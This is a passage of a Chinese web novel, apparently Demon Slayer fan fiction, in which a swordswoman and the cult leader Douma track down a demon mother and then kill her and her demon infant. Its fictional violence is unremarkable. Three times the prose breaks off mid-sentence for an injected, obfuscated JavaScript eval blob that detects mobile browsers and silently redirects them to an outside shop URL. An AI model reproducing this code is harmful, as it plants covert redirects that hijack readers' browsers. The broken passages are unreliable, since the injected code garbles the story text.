鬼王能共享所有鬼的视野,她还不想这么快就让无惨知道她现身于另一道时间线。 见门口候着的村民太多,她并未上前,而是跟着村长绕路,往他最初发现尸骸的村口走去。 尸骸早已被清理干净,空中飘洒的新雪宛如一匹细纱将地面的犯罪痕迹掩盖得无影无踪,可待她将细雪扫去后,仍能看到依旧结成冰的雪里参杂着发黑的血渍。 藤原安目光微凝,抬眼向四周扫视了一圈。 清水村三面皆环山,正对着他们的那座青山林木葱郁,枝叶交错,遮得山体深处一片幽暗,着实便于藏身,不用说是天黑之际。 她转头看向身边的村长,问道:“这座山上可住着什么人家?” 村长连忙躬身回话,“这座山上只住着一家猎户。不过山路崎岖,每逢过冬,山上的人家便很少出门了。如今雨雪湿滑,我们也不便上山查看。” “那附近几座呢?” 村长用手指着回答:这座也有一家猎户,这座是卖炭为生的人家,那座也是……若是安大人需要,我们现在就组织村民,一一上山探查一番?” 藤原安摇头,注意查探未免太费时费力,更何况有些鬼极擅伪装,寻常村民根本难以分辨,贸然前往反倒可能徒增危险。 不过鬼向来无法在长久忍耐饥饿,方才村民有说这两天并无异端,如果那鬼上次进食还是三天前的话,她相信那位鬼小姐在这两天便会按耐不住,主动现身。 为什么她认定她为鬼小姐,不仅在于村长形容她纤细的身形,更在于她喜食儿童。 如若不是个人偏好的话,那便只能是此鬼胆子或是力气极小,只敢挑毫无反抗之力的孩童下手。 “麻烦村长告诉大家,这两天白天可以适当让自家的孩子在外活动。” 村长闻言,脸上立刻露出为难之色,支吾着开口:“可……可那怪物还没抓到,孩子们在外,万一出事可怎么办?” 藤原安掀眸,安抚道,“白天恶鬼不会出现,只是想让村子添几分人气。” 见村长依旧面露难色,她便后退一步施展了一招剑术。 村长直呼神迹。 …… 她其实真的很怕这种反应。 见他终于首肯,她才继续道:“从今天开始,每晚我都会在此值夜。” 村长心中更安,小心翼翼地提议,“那需要村里派人支援您吗?” “不必,我一人即可。” 商议妥当后,又跟着村长熟悉了一番地形后,她才转身往村民为教主辟建的宅邸走去。 夜已深,先前宅邸旁围着的村民早已散去,唯留一名家臣立在门口值守。 越过大门而入,她便见那位白发教主坐于廊下。 他大抵是洗漱过了,身上换了件暗红色的衣袍,料子顺滑,领口绣着精致的黑边,衬得他肤色愈发莹白。他正双手支在身后的廊柱上,微微仰头望着落雪的天空。 听见鞋底碰触积雪发出的噗嗤声响,他不紧不慢地收回目光,转头冲着她展开一抹温和的笑容:“安小姐。” 藤原安停下脚步,冲着他轻轻点了点头,“教主。” 她并不觉得教主是在特意等她,礼貌地打了声招呼后,便打算转身回房换身干爽的衣服。 不料童磨却抬手轻拍了拍身边的位置,示意她坐下,蜜一般甜的声音娇嗔道,“明明说过喊我的名字就好。” “……” 藤原安一个退步,浑身起满了鸡皮疙瘩。 见她这般反应,童磨忍不住低低笑出了声,好久之后才敛起笑容,温和地同她搭话,“方才出去可有找到什么线索?” “算是有吧。”她走至教主的身侧,同他一样直视前方,目光掠过廊外漫天飞雪,见自己的脚印正被落雪盖得隐隐约约。她轻闭了下眼睛,又补充道,“应该用不了几天就能抓到她了。” 一道似有似无的气音轻轻飘到她耳畔,“是吗……如果能赶紧消灭恶鬼就好了。” 藤原安闻声抬眸,目光落在青年精致得有些失真的侧脸上,“教主很清楚吗?鬼的事情?” 她突然想起来,面前这位青年,在初见时就精准地用了恶鬼来形容作祟者,而非寻常人会说的怪物、妖兽之类,显然并非对此一无所知。 童磨伸出指尖轻点了点自己的脸颊,鼻尖轻哼了一声,又冲着她笑,“只是知道一点哦。” “哦?” “之前有信徒跟我倾诉过,说是害人的恶鬼搅得他们不得安宁。” “那么后来呢?” 童磨歪了歪头,眉头微蹙,像是在努力回忆,良久之后才缓缓开口:“后来……听他们说,有一位衣着特殊的剑士帮助他们解决了困境。” 藤原安心中一动。 鬼杀队。 她压下心底的波澜,“方便告诉我更多关于这位剑士的事情吗?” 童磨摇头,语气软了下来,“抱歉,我了解的也就这么多了。” 藤原安哦了一声。 见这条线索又断,她心底难免泛起几分失落。 青年突然眼眸咕噜一转,又讨好似得补充道:“不过每年开春,他都会来我教参拜,到时候我再替安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487250|202081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小姐打探打探,好不好?” 藤原安自然说好。 青年看出她此刻聊天兴致并不佳,再度放缓了声音,“安小姐是准备休息了吗?” “准备去值夜。我先来换身衣服,身上的这套已经被雪水打湿了,穿着有些不适。” 对方像是这才注意到了她深色的小褂,直勾勾看了两眼,随即掀起笑眯眯的眼皮,“深色的衣服也很适合您。” 藤原安愣了一下,装模作样地也扫视了一眼对方身上的衣袍,礼尚往来夸赞道:“您穿红色的衣服也很好看。” 虽然敷衍,这也是她真心之言。 童磨嘴角笑容大,正欲再说些什么,却被对方一句轻飘飘的“失礼了”打断。 目送着绀发少女毫不留情离去,他嘴角的弧度瞬间落了下来,接着重新抬眸,毫无焦点地望向飞雪的天空。 他本以为神明大人虽然总喜欢一个人陷入沉思,但对他、还有他的极乐教都还是满意的,要不然又怎么会一直向他打听教中事情呢。 但是为什么今天又不热衷于和他聊天了呢? 是因为作为教主的他没有好好侍奉好大人吗?可明明他已经挖空心思带着大人出来关爱世人了呢。 那是因为大人一个人寂寞了吗?还是因为他太没用了…… 不行呢,他得派得上用场才好。 该怎么办呢…… * 等藤原安换好干净衣物,整理妥当出门时,童磨还坐在那片廊下,不过换了套平日里常穿黑金色和服。 见她出来,童磨立刻站起身,目光灼灼地看着她,零帧起手,“我也想同您一道出门。” 这又是因为啥? 藤原安心头掠过一丝疑惑,虽没完全想明白他的心思,但立马出言拒绝,“怕是不妥。” 要是教徒们知道她大半夜的把他们深闺教主拐出门了,定会生出不少事端,她不愿意做这吃力不讨好之事。 童磨没有放弃,坚持声称,“我的身体还算健康,身手也不算差,一定不会拖你后腿的。” “还是不行。”她依旧回绝。 她就是纯粹怕麻烦。 “为什么?”青年委屈追问。 藤原安叹气,因为还指望着教主帮她打探情报,她耐着性子道:“你总得告诉我出门的理由吧。” “诶……”童磨扑闪了两下眼睫,垮下脸,语气粘粘糊糊的,“其实是因为我想为安小姐祈福……” “……” 藤原安一时语塞。 见其软硬不吃,青年有些力竭,眼皮耷拉着,闷着声音开口,“难得出门,我也想有自由的时间嘛,不想一直困在这宅邸里。” 这回藤原安没再拒绝,只是好意出声提醒,“可是跟着我的话,也算不上自由吧。” 听懂了她的言外之意,青年浅笑。 “不,这已经足够了。” 他就知道,神明大人会心软。 6. 第6章 雪夜 从院中悄悄溜出去,避过门口值守的家臣并非难事。 藤原安原本还担心教主会跟不上她的脚步,没曾想他确实有在暗中锻炼,他从宅邸的墙沿翻出时的动作非常利落。 两人稍耽搁了片刻,等真正走出宅邸时已是戌时。加之最近村中因恶鬼作祟,人心惶惶,家家户户都早早闭了门,熄灭了灯火,村庄静谧了下来。 雪花依旧在漫天飞舞,细碎的雪沫落在肩头,转瞬便融成一丝凉意。白日里村民们辛苦铲除积雪的道路,此刻又被一层薄薄的新雪覆盖,触感松软。 落后于她身后一步的教主似乎没见过什么世面,对于村中的寻常物,他总会发出夸张的惊奇感叹。 “安小姐,安小姐,这个是什么?”他伸手指着路边挂在屋檐下冻得硬邦邦的一串小灯笼,语气里满是雀跃。 藤原安顺着他指的方向看了一眼,半蒙半猜,“应该是柿子吧。” 她其实也不认识,但是看着有些像。 童磨立刻弯起眉眼,真诚夸赞,“哇!您真是博学呢。” …… 倒像是在嘲讽她。 怕吵到周边熟睡的村民,童磨大部分时候都克制着,只用气声和她说话,但在五感异常灵敏的藤原安听来,依旧有些嘈杂。 她也不是没有出声打断,可没过几分钟,对方就会原形毕露,依旧叽叽喳喳个不停,到最后,她也只能无奈随他去了。 最让她觉得不可思议的是,相处久了,她竟有些习惯了这个人在耳畔吵闹。甚至有时候,对方稍微安静那么一会儿,她还会下意识地侧过头,用诧异的眼神看他一眼。 不过这位教主精力实在旺盛,明明他们每晚巡视到日出才归,他却依旧神采奕奕,立刻去会面前来参拜的信徒。到了夜幕降临,又准时出现在她的房间门口,眼神亮晶晶地等着一同出门。 “您今天还要再去吗?” “嗯!”青年语气轻快,不等她同意,便三两步挪至墙边,身形轻捷一跃,便翻上了墙头,回头冲着她弯眼。 既然如此,她也不好再强硬地让他回去。 * 一连两天下来,并未有发现任何异常。 正当藤原安暗自懊恼,觉得带着这位聒噪的教主一同出门是个错误的决定时,一阵声响忽然传入了她耳中。 一道极其轻微的,指甲划过木头发出的尖锐吱呀声。 出现了! 前两日他们出门都比较晚,等巡视到这片区域时,早已是子时,唯今日出门算是早些。想来这只鬼前两日一直在暗处蛰伏,悄悄摸清了他们的出行规律,今日才敢贸然出动。 藤原安神色一凝,动作极快地一把拽住了身旁童磨的手腕,同时冲他轻轻摇了摇头,示意他噤声。 童磨反应也极快,立刻收敛了脸上的笑意,异常乖巧地闭上了嘴。可没过两秒,他又按捺不住凑近她,朝她比了个口型。 “是来了吗?” 藤原安颔首,松开攥着童磨手腕的手,反手抽出腰间的日轮刀。 她缓缓闭上双眸,摒弃所有杂念,调动起灵敏的听觉,细细分辨着声音的来源。 窸窸窣窣的划木声依旧在继续,细碎、刺耳。 南边?不。东边?也不是…… 是西边。 她睁开眼睛,转而压低声线让教主找个角落躲好,随即如离弦之箭般一跃而出。 不过瞬息之间,恶鬼便出现在了她目光所及的范围之内。 鬼穿着一身洗得发白的粗布小袖,正如她猜测的那般,是一位女性。 她发丝凌乱地贴在脸颊,脸颊上沾满了尘垢,正佝偻着身子,指甲尖锐如利爪,死死抠着村民家的木窗棂,显然是想趁夜从窗户摸入屋内。 尽管藤原安的动作已经快到极致,并且尽量放轻了脚步,但跃过雪地时,还是难免发出了细微的声响。 鬼闻声回头,见有人提刀向她奔来,猩红的眼眸闪过一丝怯意,身形向一旁闪去,动作快得只剩下一道残影。 这是只敏捷属性点满了鬼。 难怪前段时间村民们已经有所警惕,她依旧能避开村民的防备,屡屡得手。 两人交手数个回合。 藤原安每一刀都直指恶鬼要害,可那恶鬼身形太过矫健,总能凭借极致的速度险险避开。 周遭的房屋排布密集,空间狭小拥挤,不利于舒展身形,藤原安顾虑着屋内熟睡的村民,也怕打斗波及无辜,始终没有贸然全力出手,只能步步紧逼,寻找合适的破绽。 再一次被风刃刮到后,恶鬼眼底的怯意更甚,显然也察觉到久战不利。几个闪身后,她的鼻子快速翕动了两下,像是嗅到了什么,不再与藤原安纠缠,调转方向,直直往东面跑去。 藤原安心中暗道糟糕。 那是教主所在的方向。 她不敢耽搁,脚下一个蹬步,追了上去。 恶鬼转眼就冲到了童磨藏身的角落,不等他反应过来,她已经抓住了童磨的胳膊,张开满是尖牙的嘴,就想往他脖颈处的动脉咬去,神色狠戾,显然是直接下了狠手。 就在这段时间,藤原安及时追上。她眼神一厉,手腕翻转,日轮刀狠狠落下,一个利落的斩击,径直砍掉了恶鬼抓着童磨胳膊的那只手。 刺啦一声,鲜血喷涌而出,溅落在洁白的雪地上。 恶鬼眼中盛满惊慌,断臂处的剧痛让她浑身一颤,她恋恋不舍地看了一眼即将到嘴的猎物,不敢多做停留,捂着流血不止的伤口,转身就往村口方向狂奔而去。 可长久的饥饿早已耗尽了她大半的力气,根本没办法维持长时间的快速奔跑,不过片刻,她的速度便肉眼可见地慢了下来,身形也开始有些踉跄。 有机会。 藤原安伸手扶了一把身旁摇摇欲坠的教主, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487251|202081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 确认他站稳后,立刻握紧手中的日轮刀,脚下提速,转身朝着恶鬼逃离的方向追去,可没跑几步,身后便传来一阵沉重而踉跄的脚步声。 藤原安脚步一顿,转头望去,只见教主竟咬着牙跟了上来。 他方才被恶鬼突袭,又一路急跑,此刻早已体力不支。他扶着膝盖,大口大口地喘着粗气,纤长的睫毛上了沾着细碎的雪沫,冰冷的雪水被风吹进眼眶,刺激出了泪水。 他自知追不上,抬起头,深深吐出一口白气,雾气在冷空气中转瞬消散,气息仍有些不稳,却还是强撑着开口,声音难得有些沙哑,“您去追吧,我留在这边等您。” 藤原安目光掠过他泛红的眼眶,语气难得缓和,问他,“是想一起去吗?” 果然这位教主虽然是闹腾了些,却真真实实心地善良。 “嗯?” 童磨一愣,他有展现出很想去的样子吗?他只是下意识就追了上来。 “想去的话,可以带您一起。” 没关系,作为传达神明大人旨意的教主,他不能拖大人的后腿,应该乖乖地待在原地,等待大人回来接他。 他是想这样说的,却没有说出口。 等回过神来,他才惊觉,自己竟如同懵懂的婴儿般蜷缩成一团,被搂在神明大人的怀抱中,她跑了出去。 她的力气很大,手臂紧紧环着他的腰,将他稳稳地抱在怀中,即便在雪地里疾跑,也没有丝毫颠簸,让他全然不必担心会掉下去。 鼻尖萦绕着她身上清冽的气息,明明是同样的皂荚膏,却是和他身上全然不同的味道。 几缕没有挽起的绀色发丝,从她的发髻上滑落,轻轻拂过他的脸颊,带着一丝细微的痒意。 他缓缓抬起眼眸,目光往上望去,最先映入眼帘的,是她樱色的薄唇,紧接着是挺翘的鼻尖,最后撞入一汪深色的眼眸。 神明大人的眼眸似藏神力,乍一看是最寻常的黑色,可若是细看,便会发觉她的眼底掺着几分淡淡的墨蓝,那是他曾在教中珍藏的画册里见过的,如同深渊般的颜色,让人毫无防备就心甘情愿地沦陷其中。 他心头一动,手指不受控制地颤动,竟要不住想要伸出手,轻轻碰触那抹深色。 一阵寒风裹挟着雪沫扑面而来,吹得他鬓边的白发凌乱翻飞,往日里完美无缺的表情再难维持。 他身躯微微瑟缩了一下,竭力抬起衣袖,堪堪遮住了半张脸,试图挡住此刻的丑态。 怀抱着他的少女似是察觉到了他的瑟缩,很是体贴地将他往怀中又紧了紧,手臂抬高,试图替他挡住刺骨的风雪。 太快了—— 呼啸的风声,簌簌的雪声,少女沉稳的脚步声,枝头积雪滑落的轻响,交织在一起,谱成一支杂乱却清晰的曲子,在他耳边轰然作响。 他皱起鼻子,努力辨别着。 好像还有一阵别的声音…… 7. 第7章 鬼婴 两人一路疾行,很快便追至山腰处。 前方的恶鬼四下张望了一番,确认身后没有其他动静后,身形一矮,飞快钻进了不远处一座简陋的木屋。 藤原安脚步一顿,在离小屋数百步远的一颗大树前稳稳停下,生怕发出声响惊动了屋内的恶鬼。 她轻轻将怀中还在愣神的教主放了下来,又伸手将他往后带了带,同时压低声音叮嘱:“待在这里别动,不要出声。” 这正是村长提及的、村口那座住着猎户的山,而眼前这座小屋,想必就是猎户的居所。 藤原安目光锐利地四下打量了一圈,视线很快落在小屋不远处的雪地里。 那里隆起着三个小小的坟堆,被薄薄的积雪覆盖着,光秃秃的没有立墓碑。 看来是只有素质的鬼,还会为逝者立坟。 据村长所说,失踪的孩子明明只有两个,最后一位还没被恶鬼带出村子就被他当场发现,按理说不该有三个坟堆才对。 是还有别的落难者吗? 就在这时,屋内传来细微的动静。 那鬼正捂着断臂处的伤口,疼得眉头紧蹙,另一只手则扒着门缝,眼神警惕地扫过四周,确认没被追上,才稍稍松了口气,转身又回屋折返了一趟。 片刻后,她猫着身子,小心翼翼地从屋内走了出来,怀中紧紧抱着一个襁褓,襁褓裹得严严实实,看形状里面显然裹着一个小小的婴孩。 她将婴孩护在胸口,刻意将他的脸蛋遮得严严实实。 藤原安瞳孔微缩,心中疑惑更甚。 她回想起继国缘一曾跟她说过,他们刚变成鬼时,往往都对血肉有着极大的渴求,理智会被食欲吞噬,甚少有鬼能维持住理性,最普遍的情况,便是向身边最亲近的人下手。 那这婴孩是谁?是这鬼有着极强的母性,没有舍得吃掉自己的孩子?还是说,这个婴儿也已经变成了鬼,被她护在身边? 鬼的动作很轻,大抵是怕弄出动静将她引来。 藤原安定了定神,不再躲藏,在确认没有其他埋伏后,她握紧手中的日轮刀,身形一纵,冲了上去。 按照这只鬼的速度,本可以轻松侧身躲掉她这试探性的一刀,可顾虑着孩子的安危,她竟硬生生地捱下了这一击。 刀刃划破她的肩头,温热的血液汩汩冒出,顺着她的胳膊往下淌,浸湿了衣襟,可不过片刻,肩头的伤口便开始慢慢蠕动愈合。 鬼再也没有体力维持高速移动,脸色惨白如纸,额头上的冷汗混着血迹滑落,却依旧死死护着怀中的襁褓。 藤原安握着日轮刀步步紧逼,鬼只能竭力躲闪,慌乱中,怀中的襁褓被不慎掀开一角。 就在这时,藤原安清晰地看见,婴孩稚嫩的小脸上爬满了狰狞的青筋,从本该粉嫩的唇中露出尖锐细小的獠牙,正死死撕扯着同为鬼的母亲肩头的血肉,小口小口地吞咽着。 藤原安一愣。 还真的是一名鬼婴。 所以她前两次特地将孩童掳回家中,是为了喂养嗷嗷待哺的孩子 所以她处事才会如此谨慎怯懦,是怕自己一旦出事,毫无自保能力的孩子便会无人照料。 而第三次,她在村口就忍不住出手,大概是村民们已经开始警惕起来,她已经接连挨饿了数日,最后实在没有办法控制自己作为鬼的本能。 藤原安不由得再次怀疑鬼王无下限的程度。 本以为他虽生性恶劣、胆小怕生,却没想到原来他竟连这么小的婴儿都不放过吗? 那鬼轻轻按住婴孩的小脑袋,没有半分责备,反倒愈发将他护紧,温柔地拂过婴孩狰狞的小脸,眼底满是疼惜。 听着血液不断流逝的滴答声,感受着体力一点点耗尽,她知道自己已无力挣脱,双目渐渐失去了焦点,随即扑通一声跪坐在雪地里,开始苦苦求饶。 “求求……您,放过他,他……他……没有做错任何事。 ” 她似乎太久没有开口说话,声带干涩沙哑,一句话说得磕磕绊绊,却断重复着让面前的剑士放了怀中的婴孩。 她右手紧紧抱着襁褓,另一只手撑着地面,抬着身子,竟主动往藤原安的日轮刀上撞去,祈求能用自己的性命,换得婴孩一条生路。 藤原安下意识地后退了一步,手中的刀也微微下垂。 片刻的迟疑后,她深吸一口气,压下心底的波澜,手腕翻转,日轮刀落下,一个利落的平斩,结束了女鬼的痛苦。 现在,雪地里就只剩下一个婴孩。 “您要放过他吗?”童磨在她处理完伤人的恶鬼后,便悄悄摸到了她的身边。 挣脱束缚后的婴孩鼻尖敏锐地嗅到了两人身上的气息,挣扎着掀开一角,脸上的青筋愈发狰狞,张着满是尖牙的小嘴,朝着他们的方向慢慢爬来。 藤原安用刀背轻轻抵住了婴孩的胸膛,阻止了他的动作。 无法继续前进,婴孩变得更加躁动,满是戾气,挥舞着纤细却尖锐的小手,拼命想要把抵在额头的刀挪开,嘴里发出细碎又刺耳的嘶吼声。 一旁的童磨忍不住弯下腰,仔细打量着婴孩口中的獠牙,就在他凑近的瞬间,婴孩猛地偏头,张着小嘴就要朝他的指尖咬去。 他下意识地往后缩手,堪堪避开这一击,托着长音感叹,“哇……还真是恐怖。” 见此情景,藤原安突然感受到了这个领域的浓重恶意。 她先前处理的咒灵,都是源自非术师的恶意,它们生来就是坏的,也不具备肉身,是人类的对立面,即便她用最粗暴的方式袱除它们,也不会有任何罪恶感。 可有些鬼并非有意害人,他们中的大多都是被鬼王强行转化而来的,有些可能当场撑不住直接逝去了,而醒来后的鬼则是要面对天人两隔的绝望,以及不得不吃同类的痛苦。 如非鬼王有意惊扰,眼前的婴孩本该有爱着他的家人以及温馨平静的生活。 “安小姐?”童磨察觉到她的神色不对,走上前轻轻扯了扯她的袖子。 她该放过它吗? 正如他母亲所言,这孩子主观上从未犯过任何错误,他只是被可恶的鬼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487252|202081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王变成了这副模样。 他是受害者。 可孩童生来便不分善恶,懵懂无知,他们所拥有的不过是最原始的食欲。他现在身为鬼,这份本能的食欲早已被放大了成千上万倍。 如果她放过他,谁又该抚养他呢?谁又有义务一直为他提供血肉,满足他作为鬼的本能?更重要的是,谁又能担保,他日后不会失控,不会伤害无辜的人? 她不可能一直留在教中,更不可能一直看着这只鬼婴。 不该留下的。 也不用想这么多,这只是在一个领域内,这些人、这些事,本就不是真实的。他们只是领域衍生出的虚影,或许从来都没有真正存在过。 藤原安缓缓闭上眼睛,吐出一口浊气,压下心底的挣扎,手腕微微用力。 等她再度抬眼时,身前那道小小的身影已经消失不见,取而代之的,是飘散在风雪中的细碎飞灰,还有一件小小的、沾着雪的衣衫,轻轻落在冰冷的地面上。 收刀入鞘,她的胸口堵了一口气,沉闷得发慌,连带着胃也有些抽痛。 不知过了多久,身边传来教主轻柔的声音,“把他们安葬了吧。” “好。” 她弯下腰,轻轻将落在雪地上两件衣裳捡起。 两人一同走进小屋,屋内出乎意料地干净整洁,显然是被人精心收拾过的,就是地上和墙上还残留着一些擦不干净的暗褐色血渍,无声诉说着这里曾发生的悲剧。 衣柜里整齐地堆放着一家三口的衣服,可他们从头到尾都没见到家中的那位男性,大概早已遭遇不测,或许是门口的第三道尸体。 桌上的角落里摆着两个小物件,一支是素净的木簪,样式简单却打磨得光滑,还有一块小小的木制腰牌,边角有些磨损,显然是时常佩戴在身上的。 大概是那两位失踪孩童的物件吧,藤原安暗自思忖。 藤原安将木簪和腰牌拿起,小心翼翼地收在掌心,看向身边的教主,“她将孩子们的尸骸处理得很好,我们不便移动,今天就只将这两件信物带回吧。” 童磨笑回好。 目光继续扫过小屋,角落里就有几样农具,上面还沾着湿润的土壤。 “我也来一起帮忙。”童磨快步走上前,伸手就要去拿铲子。 藤原安用狐疑地眼神瞥了他一眼,也拿过一把工具。 不满于她的怀疑,童磨鼓起脸颊,哼哼道:“这点小事,我还是可以做到的。” 说着,他便率先出门。 他的力气不小,可动作却笨拙又生疏,不多时,衣摆上便沾了不少泥土,发丝上也落了些尘屑,有些狼狈,却比平日里装模作样的生活看着顺眼多了。 见此,藤原安不自觉地勾起一抹的轻笑。 最后一捧土盖上,所有的血腥、挣扎、痛苦,都被埋在了这片雪地中。 藤原安直起身,眯着眼睛望向远方,只见东方的天际,晨光正从树叶的缝隙里缓缓吐露,温柔的光线穿透薄雾,照亮了脚下的积雪。 天终于亮了。